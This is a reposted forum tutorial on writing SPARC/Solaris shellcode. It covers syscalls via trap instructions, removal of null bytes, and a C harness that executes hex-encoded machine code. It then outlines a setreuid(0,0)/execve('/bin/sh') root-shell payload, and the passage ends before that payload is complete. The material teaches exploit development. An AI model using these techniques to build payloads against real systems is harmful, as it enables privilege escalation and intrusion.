邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2006-4-15 17:34

[转载]Writing Shellcode on SPARC

文章作者:lhall

|=-----------------------=[ Writing Shellcode on SPARC ]=---------------------=|
|=----------------------------------------------------------------------------=|
|=-------------------------=[ [email]lhall@telegenetic.net[/email] ]=------------------------=|

--[ Intro

SPARC is an acronym for Scalable Processor ARChitecture. SPARC is a pure big-endian
RISC microprocessor, it has a load and store architecture with 69 basic instruction's,
32bit words and is designed for efficient pipelining. The SPARC microprocessor
was designed in 1985 by SUN Microsystems.

We start out with a very simple example - another hello world. First we'll do it
in C generate the assembly, take the parts we need and then write the assembly.

entropy@solaris {/export/home/entropy/asm} cat > hello.c << EOF

> main(){
>   write(1, "Hello, World!\n", 14);
>   _exit(0);
> }
> EOF

entropy@solaris {/export/home/entropy/asm} gcc -S hello.c

entropy@solaris {/export/home/entropy/asm} cat hello.s

      .file  "hello.c"
      .section      ".rodata"
      .align 8
.LLC0:
      .asciz  "Hello, World!\n"
      .section      ".text"
      .align 4
      .global main
      .type  main, #function
      .proc  04
main:
      !#PROLOGUE# 0
      save   %sp, -112, %sp
      !#PROLOGUE# 1
      mov    1, %o0
      sethi  %hi(.LLC0), %g1
      or    %g1, %lo(.LLC0), %o1
      mov    14, %o2
      call   write, 0
      nop
      mov    0, %o0
      call   _exit, 0
      nop
      nop
      .size  main, .-main
      .ident  "GCC: (GNU) 3.4.2"

entropy@solaris {/export/home/entropy/asm} gcc -gstabs hello.s -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

entropy@solaris {/export/home/entropy/asm} gdb hello
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break main
Breakpoint 1 at 0x10664: file hello.s, line 13.
(gdb) disas main
Dump of assembler code for function main:
0x00010660 :   save  %sp, -112, %sp
Make room on the stack.
0x00010664 :   mov  1, %o0
Move 1 into %o0 (first argument).
0x00010668 :   sethi  %hi(0x10400), %g1
Set the high bits of our string in %g1.
0x0001066c :  or  %g1, 0x328, %o1    ! 0x10728 <_lib_version+8>
Or the low and high bits of the string, attaining the full address
and store it in %o1. (second argument).
0x00010670 :  mov  0xe, %o2
Move 14 int %o2 (third argument).
0x00010674 :  call  0x207d8
Call write().
0x00010678 :  nop
0x0001067c :  clr  %o0      ! 0x0
Set %o0 to 0 (first argument).
0x00010680 :  call  0x207a8 <_exit>
Call _exit().
0x00010684 :  nop
0x00010688 :  nop
0x0001068c :  retl
0x00010690 :  add  %o7, %l7, %l7
End of assembler dump.
(gdb) r
Starting program: /export/home/entropy/asm/hello

Breakpoint 1, main () at hello.s:15
15          mov    1, %o0
Current language:  auto; currently asm
(gdb) s
16          sethi  %hi(.LLC0), %g1
(gdb) p $o0
$1 = 1
(gdb) s
17          or    %g1, %lo(.LLC0), %o1
(gdb) p $g1
$2 = 66560
(gdb) printf "0x%x\n", $g1
0x10400
(gdb) s
18          mov    14, %o2
(gdb)  printf "0x%x\n", $o1
0x10728
(gdb) x/14c 0x10728
0x10728 <_lib_version+8>:     72 &#39;H&#39;  101 &#39;e&#39; 108 &#39;l&#39; 108 &#39;l&#39; 111 &#39;o&#39; 44 &#39;,&#39;  32 &#39; &#39;  87 &#39;W&#39;
0x10730 <_lib_version+16>:    111 &#39;o&#39; 114 &#39;r&#39; 108 &#39;l&#39; 100 &#39;d&#39; 33 &#39;!&#39;  10 &#39;\n&#39;
(gdb) s
19          call   write, 0
(gdb) p $o2
$3 = 14
(gdb) s
20          nop
(gdb) s
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff332158 in write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function write,
which has no line number information.
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff3407ec in _write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _write,
which has no line number information.
Hello, World!
0xff3321c0 in write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function write,
which has no line number information.
main () at hello.s:21
21          mov    0, %o0
(gdb) p $o0
$4 = 14
(gdb) s
22          call   _exit, 0
(gdb) s
23          nop
(gdb) s
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff33fbc8 in _private_exit () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _private_exit,
which has no line number information.

Program exited normally.
(gdb) q

---[ Assembly

First we need to find out the prototypes for both write and exit and their
syscall numbers.

entropy@solaris {/export/home/entropy/asm} man -s2 _exit

    #include

    void _exit(int status);

entropy@solaris {/export/home/entropy/asm} man -s2 write

    #include

    ssize_t write(int fildes, const void *buf, size_t nbyte);

For the syscall numbers we look into the file /usr/include/sys/syscall.h.

entropy@solaris {/export/home/entropy/asm} grep write /usr/include/sys/syscall.h

#define SYS_write     4
#define SYS_writev    122
#define SYS_pwrite          174
      *    aiowrite(...)  :: kaio(AIOWRITE, ...)
#define SYS_pwrite64        223

entropy@solaris {/export/home/entropy/asm}  grep exit /usr/include/sys/syscall.h

#define SYS_exit      1
#define SYS_lwp_exit        160

The final pieces that we need are which registers to put the arguments in and
how do we call the kernel. From [1] we find out that we put the first six
syscall numbers into registers %o0...%o5, put the syscall number into %g1
and that we call ta (trap all) with a value that represents our binary and kernel.

S/W Trap #    Instruction    Description
0x0         ta 0x0       Used for system calls for binaries running in
                      SunOS 4.x binary compatability mode.
0x8         ta 0x8       32-bit (ILP32) binary running on 64-bit
                      (ILP64) kernel
0x40        ta 0x40      64-bit (ILP64) binary running on 64-bit
                      (ILP64) kernel

Its expected that you know a bit of assembly already so the info on directives,
labels and such are going to bit quite light, for a more in depth look at these
(althought this is far from what you need if just starting) check out [2]. The
directives .section are used to separate variable declarations and assembly
language instructions. A variable declaration starts with a label definition
(the name of the variable), followed by a . directive, followed by the
initial value for the variable, eg..


hello:                <--- label
  .ascii  "Hello, World!\n"
  ^      ^
  .  initial value

A label, a word followed by a colon, is simply a name for an address, using the
above example the label "hello:" is the address of the first character of the
string "Hello, World!\n".

The SPARC integer unit provides thirty-two general purpose registers. Each
integer register holds 32-bits. The integer registers are called %r0 through
%r31. In addition to the names %r0 through %r31, the integer registers have
alternate names:

Int Registers  Alternate Name  Group Name
%r0  - %r7    %g0 - %g7     Global Registers
%r8  - %r15    %o0 - %o7     Output Registers
%r16 - %r23    %l0 - %l7     Local Registers
%r24 - %r31    %i0 - %i7     Input Registers

%sp = %r14 = %o6 = Stack Pointer
%o7 = %r15 = Function return address
%fp = %r30 = %i6 = Frame Pointer

The register %r0 is always 0, if it is used as the destination of an instruction
the result is discarded. Its important to also know that an instruction such as
add %r0, %r1, %r2 can be shown as %r2 = %r0 + %r1, or sub %r0, %r1, %r2 as
%r2 = %r0 - %r1.  The set operation can be used to load a 32-bit signed integer
constant into a register. Every set instruction has two operands: the 32-bit value
followed by the destination register. The .text and .data sections must also be
alligned on pages.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.section .data
hello:
  .ascii "Hello, World!\n"

.section .text
.global _start
_start:

  ! write(1, "Hello, World!\n", 14);

  mov 4, %g1    ! move 4(write() syscall) into %g1
  mov 1, %o0    ! move 1(stdout) into %o0
  set hello, %o1 ! move the address of the string into %o1
  mov 14, %o2   ! move the length of the string into %o2
  ta 0x8      ! call the kernel

  ! _exit(0);

  mov 1, %g1    ! move 1(exit() syscall) into %g1
  mov 0, %o0    ! move 0(return address) into %o0
  ta 0x8      ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als hello.s -o hello.o
SPARC GAS  hello.s               page 1


  1              .section .data
  2              hello:
  3 0000 48656C6C      .ascii "Hello, World!\n"
  3    6F2C2057
  3    6F726C64
  3    210A
  4
  5              .section .text
  6              .global _start
  7              _start:
  8
  9                ! write(1, "Hello, World!\n", 14);
  10
  11 0000 82102004      mov 4, %g1    ! move 4(write() syscall) into %g1
  12 0004 90102001      mov 1, %o0    ! move 1(stdout) into %o0
  13 0008 13000000      set hello, %o1 ! move the address of the string into %o1
  13    92126000
  14 0010 9410200E      mov 14, %o2   ! move the length of the string into %o2
  15 0014 91D02008      ta 0x8      ! call the kernel
  16
  17                ! _exit(0);
  18
  19 0018 82102001      mov 1, %g1    ! move 1(exit() syscall) into %g1
  20 001c 90102000      mov 0, %o0    ! move 0(return address) into %o0
  21 0020 91D02008      ta 0x8      ! call the kernel
  22

SPARC GAS  hello.s               page 2


DEFINED SYMBOLS
         hello.s:2    .data:0000000000000000 hello
         hello.s:7    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello
ld: fatal: relocation error: R_SPARC_HI22: file hello.o: symbol : offset 0xfef40256
is non-aligned
ld: fatal: relocation error: R_SPARC_LO10: file hello.o: symbol : offset 0xfef4025a
is non-aligned

The .data section must be aligned so the section can be shared between
multiple users / processes.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.align 4
.section .data
hello:
  .ascii "Hello, World!\n"

.section .text
.global _start
_start:

  ! write(1, "Hello, World!\n", 14);

  mov 4, %g1    ! move 4(write() syscall) into %g1
  mov 1, %o0    ! move 1(stdout) into %o0
  set hello, %o1 ! move the address of the string into %o1
  mov 14, %o2   ! move the length of the string into %o2
  ta 0x8      ! call the kernel

  ! _exit(0);

  mov 1, %g1    ! move 1(exit() syscall) into %g1
  mov 0, %o0    ! move 0(return address) into %o0
  ta 0x8      ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als hello.s -o hello.o
SPARC GAS  hello.s               page 1


  1              .align 4
  2              .section .data
  3              hello:
  4 0000 48656C6C      .ascii "Hello, World!\n"
  4    6F2C2057
  4    6F726C64
  4    210A
  5
  6              .section .text
  7              .global _start
  8              _start:
  9
  10                ! write(1, "Hello, World!\n", 14);
  11
  12 0000 82102004      mov 4, %g1    ! move 4(write() syscall) into %g1
  13 0004 90102001      mov 1, %o0    ! move 1(stdout) into %o0
  14 0008 13000000      set hello, %o1 ! move the address of the string into %o1
  14    92126000
  15 0010 9410200E      mov 14, %o2   ! move the length of the string into %o2
  16 0014 91D02008      ta 0x8      ! call the kernel
  17
  18                ! _exit(0);
  19
  20 0018 82102001      mov 1, %g1    ! move 1(exit() syscall) into %g1
  21 001c 90102000      mov 0, %o0    ! move 0(return address) into %o0
  22 0020 91D02008      ta 0x8      ! call the kernel
  23

SPARC GAS  hello.s               page 2


DEFINED SYMBOLS
         hello.s:3    .data:0000000000000000 hello
         hello.s:8    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

Works, recompile with debugging symbols.

entropy@solaris {/export/home/entropy/asm} gas -gstabs hello.s -o hello.o

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} gdb hello
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break *_start
Breakpoint 1 at 0x10250: file hello.s, line 12.
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1    ! 0x20308
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) r
Starting program: /export/home/entropy/asm/hello

Breakpoint 1, _start () at hello.s:12
12      mov 4, %g1    ! move 4(write() syscall) into %g1
Current language:  auto; currently asm
(gdb) s
13      mov 1, %o0    ! move 1(stdout) into %o0
(gdb) s
14      set hello, %o1 ! move the address of the string into %o1
(gdb) s
15      mov 14, %o2   ! move the length of the string into %o2
(gdb) s
16      ta 0x8      ! call the kernel
(gdb) printf "0x%x\n", $o1
0x20308
(gdb) x/14c 0x20308
0x20308 :      72 &#39;H&#39;  101 &#39;e&#39; 108 &#39;l&#39; 108 &#39;l&#39; 111 &#39;o&#39; 44 &#39;,&#39;  32 &#39; &#39;  87 &#39;W&#39;
0x20310 :    111 &#39;o&#39; 114 &#39;r&#39; 108 &#39;l&#39; 100 &#39;d&#39; 33 &#39;!&#39;  10 &#39;\n&#39;
(gdb) s
Hello, World!
20      mov 1, %g1    ! move 1(exit() syscall) into %g1
(gdb) s
21      mov 0, %o0    ! move 0(return address) into %o0
(gdb) s
22      ta 0x8      ! call the kernel
(gdb) s

Program exited normally.
(gdb) q

Our `set hello, %o1` instruction was broken into

0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1    ! 0x20308

which sets the hi bits of the string hello into %o1, then or&#39;s the
low bits with the hi bits getting the full address. The sethi instruction sets
the most significant 22 bits of the destination register and clears the
least significant 10 bits of this register.  The %hi operator yields the most
significant 22 bits while %lo operator yields the least significant 10 bits of
a 32-bit value. So we could write our code as:

entropy@solaris {/export/home/entropy/asm} cat hello1.s
.align 4
.section .data
hello:
  .ascii "Hello, World!\n"

.section .text
.global _start
_start:

  ! write(1, "Hello, World!\n", 14);

  mov 4, %g1    ! move 4(write() syscall) into %g1
  mov 1, %o0    ! move 1(stdout) into %o0

  sethi %hi(hello), %o1   ! move the high 22 bits of the string address into %o1
  or  %o1, %lo(hello), %o1 ! or the low 10 bits of the string address

  mov 14, %o2   ! move the length of the string into %o2
  ta 0x8      ! call the kernel

  ! _exit(0);

  mov 1, %g1    ! move 1(exit() syscall) into %g1
  mov 0, %o0    ! move 0(return address) into %o0
  ta 0x8      ! call the kernel

Assemble and link the source.

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs hello1.s -o hello1.o

SPARC GAS  hello1.s              page 1


  1              .align 4
  2              .section .data
  3              hello:
  4 0000 48656C6C      .ascii "Hello, World!\n"
  4    6F2C2057
  4    6F726C64
  4    210A
  5
  6              .section .text
  7              .global _start
  8              _start:
  9
  10                ! write(1, "Hello, World!\n", 14);
  11
  12 0000 82102004      mov 4, %g1    ! move 4(write() syscall) into %g1
  13 0004 90102001      mov 1, %o0    ! move 1(stdout) into %o0
  14
  15 0008 13000000      sethi %hi(hello), %o1   ! move the high 22 bits of the string address into %o1
  16 000c 92126000      or  %o1, %lo(hello), %o1 ! or the low 10 bits of the string address
  17
  18 0010 9410200E      mov 14, %o2   ! move the length of the string into %o2
  19 0014 91D02008      ta 0x8      ! call the kernel
  20
  21                ! _exit(0);
  22
  23 0018 82102001      mov 1, %g1    ! move 1(exit() syscall) into %g1
  24 001c 90102000      mov 0, %o0    ! move 0(return address) into %o0
  25 0020 91D02008      ta 0x8      ! call the kernel
  26

SPARC GAS  hello1.s              page 2


DEFINED SYMBOLS
        hello1.s:3    .data:0000000000000000 hello
        hello1.s:8    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS
entropy@solaris {/export/home/entropy/asm} ld hello1.o -o hello1
entropy@solaris {/export/home/entropy/asm} ./hello1
Hello, World!
entropy@solaris {/export/home/entropy/asm} gdb hello1
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1    ! 0x20308
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) q

And the last part to do for this is put in some equates to make the code
a bit cleaner.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.align 4
.section .rodata
.equ SYS_WRITE, 4
.equ SYS_EXIT, 1
.equ STDOUT, 1
.equ STRLEN, 14
.equ RETVAL, 0
.equ KERNEL, 0x08

.align 4
.section .data
hello:
  .ascii "Hello, World!\n"

.section .text
.global _start
_start:

  ! write(1, "Hello, World!\n", 14);
  mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  mov STDOUT, %o0   ! move 1(stdout) into %o0
  set hello, %o1    ! move the address of the string into %o1
  mov STRLEN, %o2   ! move the length of the string into %o2
  ta KERNEL       ! call the kernel

  ! _exit(0);
  mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  mov RETVAL, %o0   ! move 0(return address) into %o0
  ta KERNEL       ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs hello.s -o hello.o
SPARC GAS  hello.s               page 1


  1              .align 4
  2              .section .rodata
  3              .equ SYS_WRITE, 4
  4              .equ SYS_EXIT, 1
  5              .equ STDOUT, 1
  6              .equ STRLEN, 14
  7              .equ RETVAL, 0
  8              .equ KERNEL, 0x08
  9
  10              .align 4
  11              .section .data
  12              hello:
  13 0000 48656C6C      .ascii "Hello, World!\n"
  13    6F2C2057
  13    6F726C64
  13    210A
  14
  15              .section .text
  16              .global _start
  17              _start:
  18
  19                ! write(1, "Hello, World!\n", 14);
  20 0000 82102004      mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001      mov STDOUT, %o0   ! move 1(stdout) into %o0
  22 0008 13000000      set hello, %o1    ! move the address of the string into %o1
  22    92126000
  23 0010 9410200E      mov STRLEN, %o2   ! move the length of the string into %o2
  24 0014 91D02008      ta KERNEL       ! call the kernel
  25
  26                ! _exit(0);
  27 0018 82102001      mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  28 001c 90102000      mov RETVAL, %o0   ! move 0(return address) into %o0
  29 0020 91D02008      ta KERNEL       ! call the kernel
  30

SPARC GAS  hello.s               page 2


DEFINED SYMBOLS
         hello.s:3    *ABS*:0000000000000004 SYS_WRITE
         hello.s:4    *ABS*:0000000000000001 SYS_EXIT
         hello.s:5    *ABS*:0000000000000001 STDOUT
         hello.s:6    *ABS*:000000000000000e STRLEN
         hello.s:7    *ABS*:0000000000000000 RETVAL
         hello.s:8    *ABS*:0000000000000008 KERNEL
         hello.s:12    .data:0000000000000000 hello
         hello.s:17    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

entropy@solaris {/export/home/entropy/asm} gdb hello

GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1    ! 0x20308
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) q

Ok, not to hard. Lets try to get some shellcode out of it ;).

entropy@solaris {/export/home/entropy/asm} gas -al -gstabs hello.s -o hello.o
SPARC GAS  hello.s               page 1


  1              .align 4
  2              .section .rodata
  3              .equ SYS_WRITE, 4
  4              .equ SYS_EXIT, 1
  5              .equ STDOUT, 1
  6              .equ STRLEN, 14
  7              .equ RETVAL, 0
  8              .equ KERNEL, 0x08
  9
  10              .align 4
  11              .section .data
  12              hello:
  13 0000 48656C6C      .ascii "Hello, World!\n"
  13    6F2C2057
  13    6F726C64
  13    210A
  14
  15              .section .text
  16              .global _start
  17              _start:
  18
  19                ! write(1, "Hello, World!\n", 14);
  20 0000 82102004      mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001      mov STDOUT, %o0   ! move 1(stdout) into %o0
  22 0008 13000000      set hello, %o1    ! move the address of the string into %o1
  22    92126000
  23 0010 9410200E      mov STRLEN, %o2   ! move the length of the string into %o2
  24 0014 91D02008      ta KERNEL       ! call the kernel
  25
  26                ! _exit(0);
  27 0018 82102001      mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  28 001c 90102000      mov RETVAL, %o0   ! move 0(return address) into %o0
  29 0020 91D02008      ta KERNEL       ! call the kernel
  30

So line 22 and 28 need the nulls removed before we can get this working. For
line 22 we are going to put the hex equivelent of "Hello, World!\n" into the
local variables (%l0-%l3), which the %sp points to, with sethi/or combos then put
the stack address into %o1 for the address of the string we want to write. For
line 28 we&#39;ll just and something and store it in %o0. Remember with sethi, %hi does
the upper 22 bits and %lo does the lower 10 bits? That means if we have the string
"Hello, World!\n" broken into 4 bytes a piece we have:

  48656C6C Hell
  6F2C2057 o, W
  6F726C64 orld
  210A0000 !\n

and broken into

Upper 22 bits  Lower 10 bits
48656C00      6C
6F2C2000      57
6F726C00      64
210A0000      00

For each of these execpt the last (the last&#39;s lower are 0&#39;s) we then must do:

  sethi %hi(0x<32 bits>), %ln <-- n starts at 0
  or %ln, %lo(0x<32 bits>), %ln

  or

  sethi %hi(0x), %ln <-- n starts at 0
  or %ln, 0x, %ln

which gives us the code:

  sethi %hi(0x48656C6C), %l0
  or %l0, %lo(0x48656C6C), %l0

  sethi %hi(0x6F2C2057), %l1
  or %l1, %lo(0x6F2C2057), %l1

  sethi %hi(0x6F726C64), %l2
  or %l2, %lo(0x6F726C64), %l2

  sethi %hi(0x210A0000), %l3

Now we have the string on the stack how do we get the address into %o0? We can just and
the stack pointer with itself and store the value into %o0.

  and %sp, %sp, %o1 ! and %sp with itself yielding the value of %sp store it in %o1

Finally for the null from instruction mov RETVAL, %o0, we will just xor $o1 with $o1 and
store the result into $o0 to null the return address. For both of these methods there are
alot of other ways to do this - much more efficient ways. With gas use the listing and
check again for any null&#39;s.

entropy@solaris {/export/home/entropy/asm} cat hello_nonull.s

.align 4
.section .rodata
.equ SYS_WRITE, 4
.equ SYS_EXIT, 1
.equ STDOUT, 1
.equ STRLEN, 14
.equ RETVAL, 0
.equ KERNEL, 0x08

.align 4
.section .data
hello:
  .ascii "Hello, World!\n"

.section .text
.global _start
_start:

  ! write(1, "Hello, World!\n", 14);
  mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  mov STDOUT, %o0   ! move 1(stdout) into %o0

  sethi %hi(0x48656C6C), %l0
  or %l0, %lo(0x48656C6C), %l0
  sethi %hi(0x6F2C2057), %l1
  or %l1, %lo(0x6F2C2057), %l1
  sethi %hi(0x6F726C64), %l2
  or %l2, %lo(0x6F726C64), %l2
  sethi %hi(0x210A0000), %l3
  and %sp, %sp, %o1  ! and %sp with itself yielding the value of %sp store in %o1

  mov STRLEN, %o2   ! move the length of the string into %o2
  ta KERNEL       ! call the kernel

  ! _exit(0);
  mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  mov RETVAL, %o0   ! move 0(return address) into %o0
  ta KERNEL       ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -al hello_nonull.s -o hello_nonull.o
SPARC GAS  hello_nonull.s                page 1


  1              .align 4
  2              .section .rodata
  3              .equ SYS_WRITE, 4
  4              .equ SYS_EXIT, 1
  5              .equ STDOUT, 1
  6              .equ STRLEN, 14
  7              .equ RETVAL, 0
  8              .equ KERNEL, 0x08
  9
  10              .align 4
  11              .section .data
  12              hello:
  13 0000 48656C6C      .ascii "Hello, World!\n"
  13    6F2C2057
  13    6F726C64
  13    210A
  14
  15              .section .text
  16              .global _start
  17              _start:
  18
  19                ! write(1, "Hello, World!\n", 14);
  20 0000 82102004      mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001      mov STDOUT, %o0   ! move 1(stdout) into %o0
  22 0008 2112195B      sethi %hi(0x48656C6C), %l0
  23 000c A014206C      or %l0, %lo(0x48656C6C), %l0
  24 0010 231BCB08      sethi %hi(0x6F2C2057), %l1
  25 0014 A2146057      or %l1, %lo(0x6F2C2057), %l1
  26 0018 251BDC9B      sethi %hi(0x6F726C64), %l2
  27 001c A414A064      or %l2, %lo(0x6F726C64), %l2
  28 0020 27084280      sethi %hi(0x210A0000), %l3
  29 0024 920B800E      and %sp, %sp, %o1  ! and %sp with itself yielding the value of %sp store in %o1
  30 0028 9410200E      mov STRLEN, %o2   ! move the length of the string into %o2
  31 002c 91D02008      ta KERNEL       ! call the kernel
  32
  33                ! _exit(0);
  34 0030 82102001      mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  35 0034 90102000      mov RETVAL, %o0   ! move 0(return address) into %o0
  36 0038 91D02008      ta KERNEL       ! call the kernel
  37

entropy@solaris {/export/home/entropy/asm} gas -al hello_nonull.s -o hello_nonull.o

entropy@solaris {/export/home/entropy/asm} ld hello_nonull.o -o hello_nonull

entropy@solaris {/export/home/entropy/asm} ./hello_nonull
Hello, World!

Works, now pull out the machine code put it in a simple test program and try it out.

entropy@solaris {/export/home/entropy/asm} cat exec.c

char shellcode[] =
"\x82\x10\x20\x04"     /*  mov SYS_WRITE, %g1        */
"\x90\x10\x20\x01"     /*  mov STDOUT, %o0          */
"\x21\x12\x19\x5B"     /*  sethi %hi(0x48656C6C), %l0  */
"\xA0\x14\x20\x6C"     /*  or %l0, %lo(0x48656C6C), %l0 */
"\x23\x1B\xCB\x08"     /*  sethi %hi(0x6F2C2057), %l1  */
"\xA2\x14\x60\x57"     /*  or %l1, %lo(0x6F2C2057), %l1 */
"\x25\x1B\xDC\x9B"     /*  sethi %hi(0x6F726C64), %l2  */
"\xA4\x14\xA0\x64"     /*  or %l2, %lo(0x6F726C64), %l2 */
"\x27\x08\x42\x80"     /*  sethi %hi(0x210A0000), %l3  */
"\x92\x0B\x80\x0E"     /*  and %sp, %sp, %o1        */
"\x94\x10\x20\x0E"     /*  mov STRLEN, %o2          */
"\x91\xD0\x20\x08"     /*  ta KERNEL              */
"\x82\x10\x20\x01"     /*  mov SYS_EXIT, %g1        */
"\x90\x1A\x40\x09"     /*  xor %o1, %o1, %o0        */
"\x91\xD0\x20\x08";    /*  ta KERNEL              */


int
main (int argc, char **argv)
{
      int (*ret)();          /* ret is a function pointer */
      ret = (int(*)())shellcode; /* ret points to our shellcode */
                        /* shellcode is type caste as a function */
      (int)(*ret)();         /* execute, as a function, shellcode[] */
      exit(0);             /* exit() */
}

entropy@solaris {/export/home/entropy/asm} gcc exec.c

entropy@solaris {/export/home/entropy/asm} ./a.out
Hello, World!

Thats fine and all for learning but pretty useless, er totally useless. Lets go through a
setreuid/execve which is easier then the hello world one, then move onto a port binding shell.

Ok so for setreuid/execve we just use the normal code.

entropy@solaris {/export/home/entropy/asm} cat setreuid.c
#include

int
main(int argc, char **argv)
{
  char *shell[2];
  shell[0] = "/bin/sh";
  shell[1] = (char *)0;
  setreuid(0, 0);
  execve(shell[0], shell,  NULL);
  _exit(0);
}

entropy@solaris {/export/home/entropy/asm} gcc setreuid.c

entropy@solaris {/export/home/entropy/asm} ./a.out

$ exit

For setreuid we need 0 in %o0 and in %o1, we&#39;ll just xor these, then the syscall
number in %g1, that ones cake. For execve we need the address of the string in
%o0 the address of the address of the string in %o1 and a null in %o2. We want the stack to
end up looking something like 2f62696e 2f736800 AAAAAAAA 00000000 <- %sp. We have to construct
this on the stack backwards (stack growns down).

1) Put the string &#39;/bin/sh\0&#39; (&#39;/bin/sh\0&#39; = 2f62696e2f7368) into the local
  variables %l0 and %l1. At the point %sp and %l0 points to our string, so start
  building the stack.

2) Store a doubleword starting at %l0 (%sp) into [%sp - 16], the string is two words:
  0x2f62696e, 0x2f736800

3) Subtract 16 (0x0c) from the stack, which is where our string starts and store that address
  in %o0. We need 16 because we need two words for the string, one word for the address
  of the address and one word for the null.

4) Store the address of the string (%o0) into the address at [%sp - 0x8], into the
  location of the "A"&#39;s from above.

5) Subtract 8 from the stack ( the A&#39;s locations) and store it into %o1 which is
  the address of the address of the string.

At this point the stack then looks like this "2f62696e 2f736800 ADDRADDR SKIPSKIP" <- %sp.

6) Set %o2 to null.

7) Call execve.

Note: You do have to move the values to the stack instead of directly
moving them or moving them forward from %sp, %sp gets destroyed at execv.

entropy@solaris {/export/home/entropy/asm} grep setreuid /usr/include/sys/syscall.h

#define SYS_setreuid        202

entropy@solaris {/export/home/entropy/asm} grep execve /usr/include/sys/syscall.h

#define SYS_execve    59

